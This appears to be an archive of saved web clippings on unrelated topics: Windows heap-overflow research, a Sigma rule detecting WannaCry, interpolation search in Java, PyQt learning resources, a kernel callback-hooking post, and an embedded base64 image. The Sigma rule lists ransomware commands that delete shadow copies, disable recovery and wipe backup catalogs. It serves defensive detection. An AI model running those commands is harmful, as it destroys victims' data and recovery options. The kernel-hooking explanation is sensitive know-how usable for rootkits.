core components \(NTDLL, KERNEL32, USER32, GDI32 etc.\), and the instances of  
drivers using unsafe unlinks has dropped significantly from XP, there are  
still some isolated pockets of resistance \(such as OLE32, MSHTML, JSCRIPT9
and  
media DLLs\):  
  
  
  
So is there anything left in here that has some usefulness in exploitation?  
That remains to be seen, but for now the moral of the story is that you should  
always try to consider what core Windows APIs your target application is using  
when searching for good candidate chunks for process default heap overflows.  
  
If you're interested in comparing with the results of the same analysis run  
on Windows XP, the data can be found here.  
  
\- Ben Hawkes \(July 14, 2012\)  
hawkes@inertiawar.com  
  
_\* And it also has to be said that the term heap overflow is fast becoming  
obsolete \(with the rapid rise to prominence of client side heap-based  
consistency problems, namely uninitialized pointers and use-after-free.\)
Also,  
I do not entirely agree with the general acceptance referred to here.  
  
\*\* Actually a few less than that - due to some duplicate entries. But this  
number sure has a nice ring to it, right?_  
  
\[0\] http://www.openwall.com/advisories/OW-002-netscape-jpeg/  
\[1\] http://www.phrack.org/issues.html?issue=57&id=8  
\[2\] http://www.symantec.com/connect/articles/new-way-bypass-windows-heap-
protections  
\[3\] http://illmatics.com/Understanding\_the\_LFH.pdf  
\[4\] https://media.blackhat.com/bh-
dc-11/Mandt/BlackHat\_DC\_2011\_Mandt\_kernelpool-wp.pdf  
\[5\] http://blogs.technet.com/b/srd/archive/2009/05/26/safe-unlinking-in-the-
kernel-pool.aspx  
  

# Wellington Thursday Night Curry

**Created:**| _7/15/2011 2:21:10 PM_  
---|---  
**Updated:**| _7/15/2011 2:21:10 PM_  
**Author:**| __  
**Tags:**| _ToWatch_  
  

# Beginnings

Once upon a time there was a gathering of engineers, sysadmins, programmers
and other technical people. They came together in New Zealand's capital city,
Wellington, with curry and beer. Often, quite a lot of beer. They decided to
continue this consumption each week, and thus Thursday Night Curry was born.

# Neo23x0/sigma

**Created:**| _5/13/2017 4:48:56 PM_  
---|---  
**Updated:**| _5/13/2017 4:48:56 PM_  
**Author:**| __  
**Tags:**| _siem_  
  

  

Find file

sigma / rules / windows / builtin / **win\_malware\_wannacry.yml**

4664332  8 hours ago

<img src='7dcc438556393d7da6cf7e86eff840ce' width='20' height='20' /> Florian
Roth Wannacrypt Update

Raw Blame History

Open this file in GitHub Desktop

39 lines \(38 sloc\)  1.49 KB

1 | title: WannaCry Ransomware   
---|---  
2 | description: Detects WannaCry Ransomware Activity  
3 | status: experimental  
4 | reference:   
5 |  \- https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa  
6 | author: Florian Roth  
7 | logsource:  
8 |  product: windows  
9 |  service: security  
10 |  description: 'Requirements: Audit Policy : Detailed Tracking > Audit Process creation, Group Policy : Administrative Templates\System\Audit Process Creation > Include command line in process creation events'  
11 | detection:  
12 |  selection1:  
13 |  \# Requires group policy 'Audit Process Creation' > Include command line in process creation events  
14 |  EventID: 4688  
15 |  CommandLine:  
16 |  \- '\*vssadmin delete shadows\*'  
17 |  \- '\*icacls \* /grant Everyone:F /T /C /Q\*'  
18 |  \- '\*bcdedit /set \{default\} recoveryenabled no\*'  
19 |  \- '\*wbadmin delete catalog -quiet\*'  
20 |  selection2:  
21 |  \# Does not require group policy 'Audit Process Creation' > Include command line in process creation events  
22 |  EventID: 4688  
23 |  NewProcessName:  
24 |  \- '\*\tasksche.exe'  
25 |  \- '\*\mssecsvc.exe'  
26 |  \- '\*\taskdl.exe'  
27 |  \- '\*\WanaDecryptor\*'  
28 |  \- '\*\taskhsvc.exe'  
29 |  \- '\*\taskse.exe'  
30 |  \- '\*\111.exe'  
31 |  \- '\*\lhdfrgui.exe'  
32 |  \- '\*\diskpart.exe' \# Rare, but can be false positive  
33 |  \- '\*\linuxnew.exe'  
34 |  \- '\*\wannacry.exe'  
35 |  condition: selection1 or selection2  
36 | falsepositives:   
37 |  \- Unknown  
38 | level: critical  
  

/9j/4AAQSkZJRgABAQAAAQABAAD//gA7Q1JFQVRPUjogZ2QtanBlZyB2MS4wICh1c2luZyBJSkcgSlBFRyB2NjIpLCBxdWFsaXR5ID0gOTAK/9sAQwADAgID
AgIDAwMDBAMDBAUIBQUEBAUKBwcGCAwKDAwLCgsLDQ4SEA0OEQ4LCxAWEBETFBUVFQwPFxgWFBgSFBUU/9sAQwEDBAQFBAUJBQUJFA0LDRQUFBQUFBQUFBQU
FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU/8AAEQgAjACMAwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkK
C//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RV
VldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX2
9/j5+v/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1Lw
FWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2
t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/aAAwDAQACEQMRAD8A/LUTMD1z9aJJiyYxiohkUNyBVgNoxzQOtPA+YZ9aAFSIueK1
9I0F9SkCIG3HpgZqvAgkVI1AyTX1b8BPg0b3SY9SvLQtGVyrSZQHPQ/59aAPIvDvwK1LX7dnMbQ7QGEhUlT7H0P1rUuv2YPEc6pLYWzXUZIHyjk5r77+GegW
GnoILW2wrEbt/wAxU/5Fe8+FvCdtvZzaRNnOUCg//q70rj0PyJvv2UfGmnu5fTZRCE8wOy44+ntmuo1D9kvWT4QGpfZmhuEPzxyfKwyOMj68fljrX7ELoMF5
YxxTxpIAuNm1c49+On41oT+CtLvbFYprZJECBdpHIHYUrgfzza14S1HRLwwXVtJE+cAMuM1kNG0Z24IFfud8Sv2QPCvjCzmkh05UnddoMMPI/pg14LrP/BNf
R9SYiCUWbkDbEV4QfmC2fU4HNO4j8sIRsYMR05/HtT7i6aQgDkbcf419r/FL/gm14t8N6Bd6ho22/lt9zNArBC6juoOP5/h3r4rvbGbTbuW2uEMM8TFHRxgq
RweKYEIHlp15PWlOVwM8VGZBn2FOJJPXPvQAo+tL09aTOaOlAFfvRQKDg8UAC9acOOfekJzQc4IFAG94Rhjutbs0mwY/MXOTxjNfo78L7pbzSYVt5CUWNUCo
MLnBGf8APpX54/D2zim1y2MuSN4wMZBr9CPhdpE1laR3OSsZGAqjaDk5B9//AK9HQfQ9r+Hfhp475pXIKLxjpk57nvXumh2URgMRdWcjBAA7cdO2a4jwtFDN
YRCApEzfMSpBr0XTJAbBIGZWdHwzEZJGeagRv6Zp6kKGwxXnDev+f5Vp29oqsBtKpnoDkZrL0YwoASi5BODjn8K1zNDHNHkupc4XGetAGvbRE4OMe1Sz2kbg
ZUbgPvdCBTLdMMWDtyMdBU0hIXBb2zigDFvbLfBJG8jNkdGCn+lfif8A8FHPhjbfDv4/z3OnQ+VZa1arekKOBLuZJP1UH/gVftzdTjBXGcdSvavzH/4Kv+Df
tOn+FvEMaAPb3Mto5A/hkXcP1jP500B+aSHc3pUhYKKGiw3HBB7UxhzyeaoCRTkUpYZ6igRfKCRnPNHlgelADI0Le9JKhQjPFW7OPcxruPEvgGDSvC0UxWT+
1dqSsjEgbGVW+XscBhnp170Aec7iBXR+D/BGp+MLny7GHcByWPSubCkuF75xivrr4JeFG0jwtA6RbJHTzXJ6tkUDSuUfh98F18NQC4u4kmvxICMg4AHJr6p8
ITRppdtahVDlhuAOB9K81/ttbAJH5Zkl27QOvzYr034d6JcTW1vI8Ehm6tjA3fT8qHsU1oe1eAtQUxKrltyMBhTxx1x+Vekx6kY0kYD52UfdBbJxXI+FPDDe
SOCjejNhvXGR+Ndjb2Js4mM21lHJYnP6+3NQQbugaetnGAWDyn5gD26dB2rsLa32shSQqRycjIP51zeg+WsKyI7KC3IPTPNdfZgvDlXVu/PGaAJkuJEUnarL
kdTjjvT5Ljeqny2Ge2RQpMf3lPPORzikYLM2CSufbigDOu7l1RwUGzHUHmvhf/gqDEp+BrXWAGF9bqufUZ/pn86+6L+JUOd3yAZbA61+fv8AwVY1uK0+Eeja
eCoa71WNVUnnCxyMT+e386aA/LBm3/N3amGJSST1pzHOO1AqgDBOKdikGacPpQBb06PPsK+5JfA9rfWesSTxxRafbW6QpcT/AHS3lJkjtxxXxDYqBDyQM9M1
9x+B9U0/xH8M/CMupv5tix23h3YXzAABu9v/AK9BSPiWx8Oi68fjSo3E8YuzGJEwQyhuv5V96eCNDWy0qIx48tYlRcjjpjpXzLYeFvK+OmvzLAkMCTNLCiEM
m1umCOMda+0fhlax3enxQyADAX5ifp/9ajYFojx/xb9s8P6i01rCJ5S4KlgT8ufSltPiT47020V7WNy3K71C4BHYL29s5r6L+IXwPM/h83lpEtxd4GwtzgdT
ivlX4l+GPGl3PbW0clzpmnphZorL5ZXPckjH0/Gjce52vh39qvxb4Q1UjVjMqK+W88AKeeOozg/4fh7l8Of2+/Bvie3XT/EEqaVOXKtIWAQjnnJxXw54x/Z/
1HWdfW60NY3tpWQm2luo1dHxgqVkYbskE556n613Osfsw+GdH+DtpKpvNR8Zyu88qWAzFCpztjySN2OMkcdcZHNKwj9NPBfjbStat/M0zUYr6Aj920TgqP8A
P17V6bpWpxvGg3DcxAxntX4n/DvWviT8Jb57mwXUWsUfY6XEbhQPXtgHjB+vvX3j8Evjt4m8WaRbNLYGS8YhVbJKgkdT0/z6UrCsfa63UZ2gsC+OgPWnfaAq
Adx1zzmvFvHvxn0z4PeDU1rxPcCCMY3oV3OzkdFA6/hXx/rX/BTXVPFdxc2HgHwdqOqX3mBUcxEooJwpIXPf1wKQj9Hrly6ncOD0Nflt/wAFcppYNX8A2wb/
AEZ/tshAPBceSP5Mar6n+3R8aD4tbQtR00aFqUeFksJYRHN2G7DcnjPOMfSvnH9q34s658SNa0ux1+Z5LvSvNPlyHJjMm3I6+iLVJDPB880Y4pM04ZFMQo96
Me9Azn1oIFACgnscV9Q/sz+KLPxD4W/4RS8kMckd0AVzkSRMS2SPUHPPvXy0rM/RSfwrufhL4rm8B+LrXVZ4JvsLZilkVSdoJHI9cHH50DR7vd+Gx4M+LV5Z
R3TXMcgSSJmGNqsSduOelfQvgDUnhlt1LfuyApb1P+TXz14l17T9a+IlhqenXQu4mtV8wgEYIZuOQOxHGPWve/h/GLt4pcgQ7vMGehGeMf570dCuh9gaI0Gr
6KtshG4Lzk9eB/8AWrn9f+D9tqcD3DBJYgefl5PHY/nR8Ob5YbYxrIWJOTubJwT/AIg16lo6rNNiSI7cHL54P4f561BB4rYfA23hJmniiby2Hlq4DYA5B5HY
9vaq+s/B23uYjCkyybjkRW0QRc56luuOa+iZtGt7klgMAKQRjj/9VYPiSKHQtNuGhjVWAyM4yeuPwoA+P/GfgVZdSfTEkDQwofOKD5GbI+Ud8CvQ/wBlM2+i
+JZtNPlvEzHywF9Otcn4g16T+0dQkuG8t5CVHJI5H51u/s1hV8XOqOSoQOhZsc85H16fnVdCuh6j+178PrT4i6La2slgt8IUMkaeYyDfzwdpHB/H8OtfLfwr
/Z80LwX4s0zxPbeE1bVdKnW4SwvrxkgMqAlXYFSThgpGG255wa/QS9so9T1RYJMbZLbGOm3niqqeETGVQQKxXlZmPOPqKVyT80v2tvCepaxL4j+NHiC2j067
sY44LGK2lLA3DSbIiM9lB3H/AHffj4Cv7+51S+nvLyeS6up3Mkk0rFmdj1JJ6mv05/4KvaifDvw28K+HLbJbVNTe6l2/xJEmMf8AfUi/lX5fjpTQAvFPBzTa
cKYCjHFJ17UvWlwD3oA9Y+CnwL1D4xeLrXTLMf6HuVrqeP5jGn+Jr0f9tb9n24+Dfinw1NYJIvh3UbSO2i44injADpx0yNre+Wr72/Yl+Bdp4H+Eegalb20Z
vNXtY7+eXO45dQw5x2BAr0f9or4A6Z8avhpqfh67UjUNouLG5J/1FynKN9Ox9iRU3A/MA6WunNoUkaYzbhmK88nAP8v1r6L+GkwaOO1I+TIGFXIIIGcfzrx3
xJpl7ptvY2s8Btrixle2uI2ALIynaVJ9iP0r0vwBKVmgmySAFUnIGDjqf1NWadD6T8O3y2pCnIHAY55PPIzXs3hC/Zg7SMsr5wMqO4/wr540XVYLjWbWwW5R
pz80YccuOpA/AGvcfCXmpEhAyW5JI6j86zMz0napt15+bbjIPT6V438dPiRZ+FPD08jjDbTwTz6CvQ9Z1hbTT3R3XzSvyr3+lfKn7QFgL/TvPvLktIHEhiDc
BeuPrgU0B4Xq/jXUNVvEeRGiM/zBOvHXn8MV9Rfsr6dPdXzzSxiMrjqvJzjn9RXzFps2mavrtv8AZZRKI8fIThiB1wP84r7z/Zu0W3jtJLqGPcxjUZ3Ejv8A
4VTLZ6Z5Qj8UxBl2AwNtPfOV/wAa2HYxbt2CAM57VkeMLOWK50+7R2jAkMTFTg4Yf41l/ELxnZeCPAesa7qMxgstPs5LqeQnBCIpZse+BUEH5Xf8FQ/iVH4t
+ONpoMEgkh0Cx2yDOds0p3sP++BFXw6pytdB8SPH2ofEHx1r3iG+mL3GqXst1J3272J2j2HQewFcqzMGPNUBbHSl7VWWfjmlFyAeRxTAtg5zSdPWollV+hp+
aAP6SPCfhy18PeHNO0yyiEVja20cVunpGqgAfpTrmMO54/EV0lzGq2kbpgKnH1HeuY8Q6xZ+HrKSWUb5P+WcS9WP+e9QB8cftWfB2O08QNrVpbhYdUbzJCq/
8vCJ/N0H5p714b4IkTT7024cTKDwSDjv1/lX2h8Robjx/pE9hfAssp3xRwNtWJhyjZ7kHHPNfC/ia+k8K+Np7e8i+ySQTeTcwhdqxvwVcf7Lghh6ZxmrTvoW
nfQ+jfC+g6bqGu6dqEsY+12KsImz0JByfyzX0H4a22VgLmVlEagyZA6LjNfLnhHXlMVnMpznG5uy/r/nmvpXwvcRXvh6WKSbY7xMnqeR6Ee/SoIOa1XxJfeJ
p5PIiMEayEByhICg/Tv+FeW+OPDOseKYyuwiN2KOjdSMgenA5z/I17ldaZeN4Yli8PXiQ3ob/W3UHmKDnJ+XI/ya8J1r4sfErwTqG2/0HR7+BZDlx5kAcfU7
8H8OxpgeYaX+zbr134ntbyxgaCNM/K6kbscZPsPUe9fW/wAG57/wNZSQ3qvOjERrOi4GR2/M+lcR4K/aW16adLe/+GuqS7wAJNPkiuYxkdNyuDnv07it3xD8
b/EguLSz0PwPJp0E8qj7TqbLuO49VVM5P4jFN3Y3qew6t4km1CCPcjpEhDbmGcnpnHsCa+If+Cpfx4Hhf4aaT8PLC4A1TxCBcXqqfmjs0PAPcb5AB7hHFfVv
xD+J+i/CH4e3Gu+L9SS2trWD7VdZADM38MSDjLM3AUV+Hvxy+L+p/Hf4pa34x1YGJr2TFtahsrbW68RRD/dXGT3OT3pIRwTMojULg+vHNRgB5Gz0pzoUBODj
1xVnTrRZo5HkB46Y7HHWmBUa3H8J/CoXUp1GKuEFHKt1HelGG6jigCjThIw/iNTyW6k/KcGoGhZTjB/CgD+mfwZrp1vTxBc/PdKu3eRgSr0z6Z9R+Ned+K7M
yaldRfahcPbylJGD7tpxlQfQ8jj3r0TQ/Dv9kwNCZ3llVcGVflIJzyPevKdP8MyeC/Fl7pk4za6mzXEM2T+9lBJfOSfmK7f++PQipAj0/RBBEXdsDGSTzk18
4ftofBOTxJ4Wk8d+Hbcy6npcBF9aouftdqOW4HVk+8PbcK+sV0W61W/SCAHyu57D616DoPhuy0y3+zmFJiQQxZRg56jFAH5FfBf4jwaxYwafcXH+kRjMU3Xe
g6HJ/iA/x9a948P/ABB1HyEsYPMLbSHyxyAOpz645rmP2uv2Lrr4VeNJfFXgmJo/DGpSmRbeI7VsZyclM9geSv5dsnhfDGoaxpcdu2tWjxyoAjTjKjHTn0Hb
061e5SVz698DeLriCSRblvOi2hWZdxbP+e9eg6tomneIrOOWe2WcYwcDPHfNfMvhTxQjJDEXDsQiBkUja27gkdCPevpPwR4k+16bHakQ7tgZWz97JwMfiCPq
Kgk56w0DwV4Svdn9vJpZl+cWskgAYjnKjr09PWunuk8N6PpreITctd2tkhKTyHEanoQPy/SuY8V/s4+HvG/jK08RandXheEfLaRybYzhgcnAz7DBFfPH/BSP
41/8Id8M7fwVoW22uNTBgV4W2lYQMSHp3B2/8Cz2pgfDH7Wf7SusftBfEC8Y3Tf8I5ZTsljaxnCNjI8wjuTzj0B7ZNeP6fpDMN7jLdh6Uui6blgz/eHb0rsr
HTkZlBwM9KoDmp9M3xMMN9e1V7NPsg8s885ye9d5/ZIdDwMLx64qhc+H45eSAM/gaAOQu7USrwMntjqKzZIXhOSM49K6q80Oe3+aMF19Mc1myQ4ba6FT6EUA
YocNQXx3rRm01GyVP4r0qlLbmNyv3sd8YoA/p7iiImkGOtZHiXw6msWRXyUkmiYSxBuMOvKkHsf8SOhreHEo+lSTKApPeoAwNAa3vtNjuLaEw7iUkicfOjg4
ZW9wQa0FPky5A60sUSwanmNQv2hC8gHRmXaA31wcZ9h6U6fiVR2JoAXVNJsfEelXGn6hbR3ljcxmOaCQZDD/AD37V83+MfgXZ+ArxXEsV/oFwxREu8M8Q/us
D1H+1789s/Q2u6hLpGkXN1AF8xI9wDDIzXjD6hca9qxmvpWuG+Xhj8vzAEjHYc0AebXP7NdpIWv/AA1Otv5hDPaTEsoIPOxs8fQ5HTkVy+m/G/wV8M9Wv/D/
AIg8RWNhfaTOkF3FKWHkkjI5RSGODzgnHfFfW2gaPZ29vYGO3jQvExJCjIzzgHsOelfj/wDFK2htrj433k0Md/dxXcWye7UM4d5nVpMjHzYH0z2p7jP0si+K
dhrGm3E+lMl6pt2m+0pkpHGFJ39MnoeBz09a+RviB8K9R/af8BX0trZNf6nLdOLeWNCWgkXBiPU4UoQrc4wSevNe0fsQaVbeJvC1vNqKef5+ixiRD91t6YbI
+mfzNe7fB6GLS01DTrSCK3s40WRYokCgHjsOO9AH4Ka74Z1Pwdrd7pmp2cunapZTPb3NrMuGjkVirKfoQea0dEuVuXXHDjqO9fY//BUjwVpOhfGjT9VsbYQX
er6bHPeFcASSBnTdjHUqig/Svh5mayuFeFirZFUI9Bgg3KVICgnjipY7LLDCgnPA9qh0KZru3DPjO0dPpWiMBs4H3c/pQBheIrltMsH2+XGzjaFLZbmuENk0
xLOSznnJznNdF40uHn1KKJz8igkAeucVBBAjIAR14oA5qa1lgYkjcCegquy7j6fWurvYlQnjOeOe3H/1qxp0G/6jPSgD/9k=
image/jpeg 140 140
https://camo.githubusercontent.com/a44d25487e00e34bed8a99f1474b390a913d3bb4/68747470733a2f2f302e67726176617461722e636f6d2f6176617461722f30616438636537623563313138643661613732343037666430393965373663663f643d68747470732533412532462532466173736574732d63646e2e6769746875622e636f6d253246696d6167657325324667726176617461727325324667726176617461722d757365722d3432302e706e6726723d7826733d313430
68747470733a2f2f302e67726176617461722e636f6d2f6176617461722f30616438636537623563313138643661613732343037666430393965373663663f643d68747470732533412532462532466173736574732d63646e2e6769746875622e636f6d253246696d6167657325324667726176617461727325324667726176617461722d757365722d3432302e706e6726723d7826733d313430.jpg

# SNA Projects Blog : Beating Binary Search

**Created:**| _6/20/2010 10:30:05 PM_  
---|---  
**Updated:**| _6/20/2010 10:30:24 PM_  
**Author:**| __  
**Tags:**| _reversing awesome binary search_  
  

## Beating Binary Search

Quick, what is the fastest way to search a sorted array?

Binary search, right?

Wrong. There is actually a method called interpolation search, in which,
rather than pessimistically looking in the middle of the array, you use a
model of the key distribution to predict the location of the key and look
there.

Here is a simple example: assume you have an array of length 10, which
contains a uniform sample of numbers between 0 and 99. Interpolation search
works the same way a person would search. If asked to guess the location of 3
you would probably guess the 1st slot, if asked to guess the location of 85
you might guess the 9th slot, etc.

Okay, so this approach seems to make better guesses, but does it actually
require asymptotically fewer iterations on average?

The answer is that in fact it requires exponentially fewer iterations–it runs
in lg lg  _N_ time where  _N_ is the length of the array. The analysis is a
little tricky–it appeared 19 years after the algorithm was formally published
\(according to the Knuth Search and Sorting book\). I had to look it up \(and
before I could look it up I first had to realize I didn’t invent it and figure
out what the name of it was\), but essentially each step reduces the range to
_N_ ^0.5 instead of 0.5 \*  _N_ which yields the better asymptotic runtime.
This is an average case result, so it is worth noting that the variance in the
number of comparisons is lg lg  _N_ as well. This means that assuming your
keys are well distributed you will almost certainly get the average case time
or very close to it \(I tried it on random arrays and the theory is scarily
accurate\).

So why isn’t this used in practice? Probably because lg  _N_ is already really
small. After all, if you have an array of length 2^32 this only drops you from
~32 to ~5 comparisons which in practical terms probably isn’t a big speed up
for searching arrays.

But we found a really great use for it in Voldemort. One use case we support
is serving really large read-only files as Voldemort stores. This allows us to
support a big batch datacycle run out of Hadoop as described here. The data
structure for these uses a large sorted index file to do lookups, what is
stored in this file is an MD5 of the key. Since the MD5s are used for the
sort, the file is guaranteed to be uniformly distributed over the key space,
and can often be many GBs in size. These files are memory mapped to help
reduce the cost of a read, but the improved search algorithm can help to
greatly reduce the number of seeks when the index is not fully memory
resident. A disk seek comes at a price of around 10ms, so saving even one or
two is a huge performance win.

Sometimes it is nice to see what these things are like in real life. For
uniformly distributed values, given a key to search for, an array to search
in, and a minimum and maximum value it might look something like this:

[code]

    int interpolationSearch(int key, int[] array, int min, int max) {
        int low = 0;
        int high = array.length - 1;
        while(true) {
            if(low > high || key < min || key > max)
                return -1;
    
            // make a guess of the location
            int guess;
            if(high == low) {
                guess = high;
            } else {
                int size = high - low;
                int offset = (int) (((size - 1) * ((long) key - min)) / (max - min));
                guess = low + offset;
            }
    
            // maybe we found it?
            if(array[guess] == key)
                return guess;
    
            // if we didn't find it and we are out of space to look, give up
            if(guess == 0 || guess == array.length - 1)
                return -1;
    
            // if we guessed to high, guess lower or vice versa
            if(array[guess] > key) {
                high = guess - 1;
                max = array[guess-1];
            } else {
                low = guess + 1;
                min = array[guess + 1];
            }
        }
    }
[/code]

You can see the real deal implementation in Voldemort here–it is a little
trickier as it uses non-integer keys and is searching a file but the basic
outline is the same.

# Learning Python Qt Programming with PyQt & PySide | Query7
**Created:**| _5/2/2011 7:37:25 PM_  
---|---  
**Updated:**| _5/2/2011 7:37:25 PM_  
**Author:**| __  
**Tags:**| _python programming qt_  
  

## Learning Python Qt Programming with PyQt & PySide

Posted on April 25, 2011

### Introduction

Qt is a cross platform application framework that is made up of not only a GUI
widget toolkit, but also classes for working with OpenGL, SQL databases,
threading, network protocols \(HTTP, FTP, UDP, TCP\) and much more. Currently
Python has two separate bindings for the Qt framework: Pyside and PyQt. In
this post we look at Pyside and PyQt and the resources that exist for learning
them.

### Pyside or PyQt?

Both Pyside and PyQt have full Python bindings for Qt 4.7 and are available
for Mac, Windows and Linux. The main difference between the two is how they
are licensed. PyQt is developed by River Bank Computing and is available under
the GPL or a commercial license. This means that if your application is open
source you can use the free GPL version, but if your application is closed
source you need to buy the commercial license \(350 GBP\). Pyside is licensed
under the LGPL so it can be used in both open and closed source applications
with no cost. In addition to the standard Desktop bindings, Pyside is also
available for the Maemo and MeeGo mobile platforms.

Because Pyside is a relatively young project the majority of articles and
tutorials on the web are titled with PyQt. Don’t let this put you off if you
intend only to use Pyside. For the most part PyQt and Pyside are API
compatible and all differences between the two projects are listed on the
official wiki.

### Qt Designer

Qt Designer is a layout and forms GUI builder. Developers can drag and drop Qt
widgets \(buttons, lists, tables, menus, inputs etc.\) onto a window and then
resize and position them how they want their application to look. Once the GUI
is designed it can then be exported to an XML dialect and loaded into PyQt or
Pyside. The following tutorials are for getting started and using Qt Designer:

  * Getting to know Qt Designer
  * Qt Designer quick start
  * Qt Designer Manual
  * Creating GUI applications with PyQt and Qt Designer

<img src='img/Temp2_4873.png' width='540' height='402' />

### Learning Python Qt

An Introduction to PyQt by Mark Mruss of LearningPython is an excellent
beginners introduction to PyQt. It assumes no prior knowledge of PyQt or GUI
programming and walks you through creating a basic hello world window.

<img src='img/Temp2_4874.png' width='539' height='131' />

Jan Bodnar of Zetcode has written a great series of tutorials introducing PyQt
4. They cover menus, signals, layouts, basic widgets and concludes by writing
a tetris game. Zetcode is probably the best single resource for learning PyQt
as it covers much of the API. All of the tutorials are well written and have
clear code snippets and screenshots to accompany each example.

PyQt By Example, by Roberto Alsina, is a five part tutorial that walks you
through creating a to-do list application. It is extremely detailed and covers
things like database interaction using Elixer/SQLAlchemy and designing the UI
in Qt Designer. This tutorial shows you how to build a full featured GUI
application using PyQt and is perfect for those who are new to Qt and have
done little to no GUI programming before.

<img src='img/Temp2_4872.png' width='354' height='501' />

### Books

There are currently two books that cover Python Qt4.X and one book that covers
Python Qt2.X. GUI Programming with Python: QT by Boudewijn Rempt was written
in 2001 and covers the PyQt 2.X and some 3.X bindings. Although this is
outdated and not available for print anymore, it is free to read online so you
may pick up some tips or tricks. Rapid GUI Programming with Python and Qt: The
Definitive Guide to PyQt Programming by Mark Summerfield was written in
October 2007 and covers PyQt 4.2 and 4.3. This is probably the single most
useful resource as it covers the majority of the PyQt API as well as GUI
programming design patterns. Summerfield has provided updated code examples
from the book that are compatible with PyQt 4.7 and Pyside, they are available
on the book’s website. Advanced PyQt4, by Jan Bodnar \(writer of Zetcode\), is
a 248 page ebook that focuses on some of the lesser documented and advanced
parts of PyQt. This includes graphics, layout management and model/view
widgets such as QTableView, QListView and QTreeView. Although I have not read
it, the summary, authors reputation and price \($23\) suggests this would be a
very good book to buy.

# Reverse Engineering 0x4 Fun: OkayToCloseProcedure callback kernel hook

**Created:**| _7/14/2014 10:41:39 AM_  
---|---  
**Updated:**| _7/14/2014 10:41:39 AM_  
**Author:**| __  
**Tags:**| _Debugging windows environment hooks_  
  

# OkayToCloseProcedure callback kernel hook

Hi ,  
  
During the last few weeks I was busy exploring the internal working of Handles
under Windows , by disassembling and decompiling certain kernel
\(ntoskrnl.exe\) functions under my Windows 7 32-bit machine.In the current
time I am preparing a paper to describe and explain what I learned about
Handles. But today I’m here to discuss an interesting function pointer hook
that I found while decompiling and exploring the ObpCloseHandleEntry function.
**\(Source codes below\)**.  
  
A function pointer hook consists of overwriting a callback function pointer so
when a kernel routine will call the callback function, the hook function will
be called instead . The function pointer that we will be hooking in this
article is the **OkayToCloseProcedure** callback that exists in the
**\_OBJECT\_TYPE\_INITIALIZER** structure which is an element of the
**OBJECT\_TYPE** struct.  
  
Every object in Windows has an OBJECT\_TYPE structure which specifies the
object type name , number of opened handles to this object type ...etc
**OBJECT\_TYPE** also stores a type info structure
\(**\_OBJECT\_TYPE\_INITIALIZER**\) that has a group of callback functions
\(OpenProcedure ,CloseProcedure…\) . All **OBJECT\_TYPE** structures pointers
are stored in the unexported ObTypeIndexTable array.  
  
As I said earlier , the **OkayToCloseProcedure** is called inside
**ObpCloseHandleEntry** function.In general this function \(if the supplied
handle is not protected from being closed\) frees the handle table entry ,
decrements the object’s handle count and reference count.  
Another case when the handle will not be closed is if the
**OkayToCloseProcedure** returned 0 , in this case the
**ObpCloseHandleTableEntry** returns **STATUS\_HANDLE\_NOT\_CLOSABLE**.  
I will discuss handles in more details in my future blog posts.  
  
_**So how the OkayToCloseProcedure is called ?**_  
  
ObpCloseHandleTableEntry function actually gets the Object \(which the handle
is opened to\) header \(**\_OBJECT\_HEADER**\). A pointer to the object type
structure \(**\_OBJECT\_TYPE**\) is then obtained by accessing the
**ObTypeIndexTable** array using the Object Type Index from the object header
\(**ObTypeIndexTable\[ObjectHeader- >TypeIndex\]**\).  
  
The function will access the **OkayToCloseProcedure** field and check if it’s
NULL , if that’s true the function will proceed to other checks **\(check if
the handle is protected from being closed**\). If the **OkayToCloseProcedure**
field isn’t NULL , the function will proceed to call the callback function. If
the callback function returns 0 the handle cannot be closed and
ObpCloseHandleTableEntry will return **STATUS\_HANDLE\_NOT\_CLOSABLE**. If it
returns a value other than **0** we will proceed to the other checks as it
happens when the OkayToCloseProcedure is NULL.  
  
An additional point is that For some reason , the OkayToCloseProcedure must
always run within the context of the process that opened the handle in the
first place \(**a call to KeStackAttachProcess**\). I don’t think that this
would be a problem if ObpCloseHandleTableEntry is called as a result of
calling **ZwClose** because we’ll be running in the context of the process
that opened the handle.  
But if ObpCloseHandleTableEntry was called from another process context and
tried to close another process’s handle table entry the
**OkayToCloseProcedure** must run in that process context. That’s why
**ObpCloseHandleTableEntry** takes a pointer to the process object \(owner of
the handle\) as a parameter.  
  
**_Applying the hook :_**  
  
Now after we had a quick overview of what’s happening , let’s try and apply
the hook on the OBJECT\_TYPE\_INITIALIZER’s OkayToCloseProcedure field.  
I applied the hook on the **Process object type** , we can obtain a pointer to
the process object type by taking advantage of the exported **PsProcessType**
, it’s actually a pointer to a pointer to the process’s object type.  
  
Here’s a list containing the exported object types :  
**POBJECT\_TYPE \*ExEventObjectType;  
POBJECT\_TYPE \*ExSemaphoreObjectType;  
POBJECT\_TYPE \*IoFileObjectType;  
POBJECT\_TYPE \*PsThreadType;  
POBJECT\_TYPE \*SeTokenObjectType;  
POBJECT\_TYPE \*PsProcessType;  
POBJECT\_TYPE \*TmEnlistmentObjectType;  
POBJECT\_TYPE \*TmResourceManagerObjectType;  
POBJECT\_TYPE \*TmTransactionManagerObjectType;  
POBJECT\_TYPE \*TmTransactionObjectType;**  
  
A **_second_** way to get an object’s type is by getting an existing object’s
pointer and then pass it to the exported kernel function **ObGetObjectType**
which will return a pointer to the object’s type.  
  
